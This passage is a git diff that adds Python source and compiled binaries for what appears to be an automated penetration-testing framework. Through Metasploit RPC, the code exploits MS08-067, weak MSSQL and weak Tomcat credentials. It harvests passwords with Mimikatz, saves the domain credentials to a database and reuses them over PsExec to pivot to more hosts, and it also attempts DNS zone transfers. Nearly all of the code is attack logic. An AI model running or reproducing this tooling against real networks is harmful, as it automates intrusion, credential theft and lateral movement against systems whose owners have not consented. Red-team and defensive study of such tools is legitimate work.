False + #self.start() + + def _run(self): + self.is_running = False + self.start() + self.function(*self.args, **self.kwargs) + + def start(self): + if not self.is_running: + self._timer = Timer(self.interval, self._run) + self._timer.start() + self.is_running = True + + def stop(self): + self._timer.cancel() + self.is_running = False diff --git a/source/repeatedtimer.pyc b/source/repeatedtimer.pyc new file mode 100644 index 0000000000000000000000000000000000000000..fd79514cdfd697d434d41fdc244fc4ec55d0fcf6 GIT binary patch literal 1244 zcmb7D%Wl(95S{BhS_dLkY^eAG3-Q=js6rsI4AM11s?Ms$97)Okr8Kc3E(RJ~@=4<12`N0_B7iP!M?+5zEp* z@<@&0uH<4QcAg9okP|7(M3A=-e*uLATanbr76(QoTO1ez+2X($$`%L4NWxf+6GqJy z_bfR@lED14wsCNPW6(bMqHKceK4*2{&2rP^p==xV&bn)_-k-jxNnmfX+Pg4eoKL$= z)0EA%@}v>o)l17lmcEvi>6L#7%eR{@ch9>WgNo(Z`l}*H)3PZ;ik9GapK&HW z{BqJuAy2O%{wY*A@FP-1oS*?0l~PkFFV#rCj1VL^m4!02w@)VkhTjdfN+^REO{gM&C", "")) + logVal("sql", "done exploiting {0}. extracting creds".format(host_data[0])) + creds = metasploitfunctions.extractMimikatzCreds(msflog) + + for cred in creds: + dbfunctions.addDomainCreds(db, footprint_id, cred[1], cred[0], cred[2], "", "", "") + logVal("sql", "adding creds {0} :: {1} :: {2}".format(cred[1], cred[0], cred[2])) + + dbfunctions.setHostExploitedDate(db, host_data[1]) +# except: +# logVal("sql", "error exploiting host {0}".format(host_data[0])) +# time.sleep(1) + #except: + # logVal("sql", sys.exc_info()[0]) + # time.sleep(5) + + + + + + + +def exploitWeakTomcatCreds(footprint_id): + logVal("tomcat", "started") + conf = ConfigParser.ConfigParser() + conf.read("connections.conf") + + db = MySQLdb.connect(host="localhost", user=conf.get('MySQL', 'user'), passwd=conf.get('MySQL', 'pass'), db=conf.get('MySQL', 'db')) + db.autocommit(True) + + msfpass = "" + while msfpass == "": + time.sleep(1) + msfpass = dbfunctions.getMsfPass(db, footprint_id) + + connected = False + sqlclient = None + sqlconsole_id = None + + logVal("tomcat", "got pass: " + msfpass) + + sqlclient = msfrpc.Msfrpc({}) + sqlclient.login(user='msf', password=msfpass) + sqlres = sqlclient.call('console.create') + + logVal("tomcat", "got res: " + str(sqlres)) + sqlconsole_id = sqlres['id'] + + if True: + if True: +# while True: + host_data = dbfunctions.getHostVulnerableWeakTomcatCreds(db, footprint_id) + if host_data == None: + logVal("tomcat", "no vulnerable hosts. will check again in 5 seconds") + time.sleep(5) + else: + #try: + if True: + logVal("tomcat", "exploiting host {0}".format(host_data[0])) + lhost = netifaces.ifaddresses('eth0')[netifaces.AF_INET][0]['addr'] + msflog = metasploitfunctions.exploitWeakTomcatCreds(sqlclient, sqlconsole_id, lhost, host_data[0], msfpass, host_data[3].split(":")[0], host_data[3].split(":")[1].replace("", "")) + logVal("tomcat", "done exploiting {0}. extracting creds".format(host_data[0])) + creds = metasploitfunctions.extractMimikatzCreds(msflog) + + for cred in creds: + dbfunctions.addDomainCreds(db, footprint_id, cred[1], cred[0], cred[2], "", "", "") + logVal("tomcat", "adding creds {0} :: {1} :: {2}".format(cred[1], cred[0], cred[2])) + + dbfunctions.setHostExploitedDate(db, host_data[1]) +# except: +# logVal("sql", "error exploiting host {0}".format(host_data[0])) +# time.sleep(1) + #except: + # logVal("sql", sys.exc_info()[0]) + # time.sleep(5) + +def vulnExploiter(footprint_id, options): + conf = ConfigParser.ConfigParser() + conf.read("connections.conf") + + db = MySQLdb.connect(host="localhost", user=conf.get('MySQL', 'user'), passwd=conf.get('MySQL', 'pass'), db=conf.get('MySQL', 'db')) + db.autocommit(True) + + msfpass = "" + while msfpass == "": + time.sleep(1) + msfpass = dbfunctions.getMsfPass(db, footprint_id) + + while True: + if options.exploitMs08067: + host_data = dbfunctions.getHostVulnerableToMS08067(db, footprint_id) + if host_data == None: + logVal("ms08", "no vulnerable hosts. will check again in 5 seconds") + else: + print "exploiting ms08" + p1 = multiprocessing.Process(target=exploitMS08067, args=(footprint_id, )) + p1.start() + p1.join() + + if options.expoitWeakMsSqlCreds: + host_data = dbfunctions.getHostVulnerableWeakSqlCreds(db, footprint_id) + if host_data == None: + logVal("sql", "no vulnerable hosts. will check again in 5 seconds") + else: + print "exploiting sql" + p2 = multiprocessing.Process(target=exploitWeakSqlCreds, args=(footprint_id, )) + p2.start() + p2.join() + + if options.exploitWeakTomcatCreds: + host_data = dbfunctions.getHostVulnerableWeakTomcatCreds(db, footprint_id) + if host_data == None: + logVal("tomcat", "no vulnerable hosts. will check again in 5 seconds") + else: + print "exploiting tomcat" + p2 = multiprocessing.Process(target=exploitWeakTomcatCreds, args=(footprint_id, )) + p2.start() + p2.join() + + if options.credPivot: + host_data = dbfunctions.getHostToLogInTo(db, footprint_id) + if host_data == None: + logVal("cred", "no hosts to log in to. will check again in 5 seconds") + else: + #collectCredentials(footprint_id) + print "logging in with known creds" + p = multiprocessing.Process(target=collectCredentials, args=(footprint_id, )) + p.start() + p.join() + + time.sleep(1) + +def collectCredentials(footprint_id): + logVal("cred", "started") + conf = ConfigParser.ConfigParser() + conf.read("connections.conf") + + db = MySQLdb.connect(host="localhost", user=conf.get('MySQL', 'user'), passwd=conf.get('MySQL', 'pass'), db=conf.get('MySQL', 'db')) + db.autocommit(True) + + msfpass = "" + while msfpass == "": + time.sleep(1) + msfpass = dbfunctions.getMsfPass(db, footprint_id) + + connected = False + client = None + console_id = None + + logVal("cred", "got pass: " + msfpass) + + client = msfrpc.Msfrpc({}) + client.login(user='msf', password=msfpass) + res = client.call('console.create') + + logVal("cred", "got res: " + str(res)) + console_id = res['id'] + + #while True: + if True: + if True: + host_data = dbfunctions.getHostToLogInTo(db, footprint_id) + if host_data == None: + logVal("cred", "no hosts to log in to. will check again in 5 seconds") + time.sleep(5) + else: + #try: + if True: + logVal("cred", "log in to host {0} with creds {1}\{2} : {3}".format(host_data[1], host_data[3], host_data[4], host_data[5])) + lhost = netifaces.ifaddresses('eth0')[netifaces.AF_INET][0]['addr'] + msflog = metasploitfunctions.loginWithPsExec(client, console_id, lhost, host_data[1], msfpass, host_data[3], host_data[4], host_data[5]) + logVal("cred", "logged into {0}. looking for creds".format(host_data[1])) + + loginSuccess = True + for l in msflog: + if l.find("STATUS_LOGON_FAILURE") > -1: + loginSuccess = False + logVal("cred", "creds did not work on {0}".format(host_data[1])) + dbfunctions.addLoginAttemptResult(db, host_data[0], host_data[2], False) + + + if loginSuccess: + logVal("cred", "creds worked on {0}".format(host_data[1])) + dbfunctions.addLoginAttemptResult(db, host_data[0], host_data[2], True) + creds = metasploitfunctions.extractMimikatzCreds(msflog) + + for cred in creds: + dbfunctions.addDomainCreds(db, footprint_id, cred[1], cred[0], cred[2], "", "", "") + logVal("cred", "adding creds {0} :: {1} :: {2}".format(cred[1], cred[0], cred[2])) + #except: + #logVal("cred", "an error occurred") + cleanup = client.call('console.destroy',[console_id]) + + +def listenToBroadcasts(footprint_id, cmd): + conf = ConfigParser.ConfigParser() + conf.read("connections.conf") + + db = MySQLdb.connect(host="localhost", user=conf.get('MySQL', 'user'), passwd=conf.get('MySQL', 'pass'), db=conf.get('MySQL', 'db')) + db.autocommit(True) + + while True: + try: + footprintfunctions.listenToBroadcasts(db, footprint_id, cmd) + except: + continue + + time.sleep(1) + print "thread terminated [listenToBroadcasts]" + +def zoneTransferDomains(footprint_id): + print "zoneTransferDomains()" + conf = ConfigParser.ConfigParser() + conf.read("connections.conf") + + db = MySQLdb.connect(host="localhost", user=conf.get('MySQL', 'user'), passwd=conf.get('MySQL', 'pass'), db=conf.get('MySQL', 'db')) + db.autocommit(True) + + domains = [] + + cursor = db.cursor() + cursor.execute("select domain_name from domains where footprint_id = %s and zone_transfer_attempted = 0", (footprint_id)) + for domain in cursor.fetchall(): + domains.append(domain[0]) + cursor.close() + + for domain in domains: + footprintfunctions.zoneTransferDomain(db, footprint_id, domain) + + cursor = db.cursor() + cursor.execute("update domains set zone_transfer_attempted = 1 where footprint_id = %s and domain_name = %s", (footprint_id, domain)) + cursor.close() + print "thread terminated [zoneTransferDomains]" + +def startMetasploit(footprint_id): + print "startMetasploit()" + conf = ConfigParser.ConfigParser() + conf.read("connections.conf") + + db = MySQLdb.connect(host="localhost", user=conf.get('MySQL', 'user'), passwd=conf.get('MySQL', 'pass'), db=conf.get('MySQL', 'db')) + db.autocommit(True) + + footprintfunctions.startMetasploit(db, footprint_id) diff --git a/source/threads.pyc b/source/threads.pyc new file mode 100644 index 0000000000000000000000000000000000000000..1fb1504eb38341747036a2bbab33998c2df40013 GIT binary patch literal 16996 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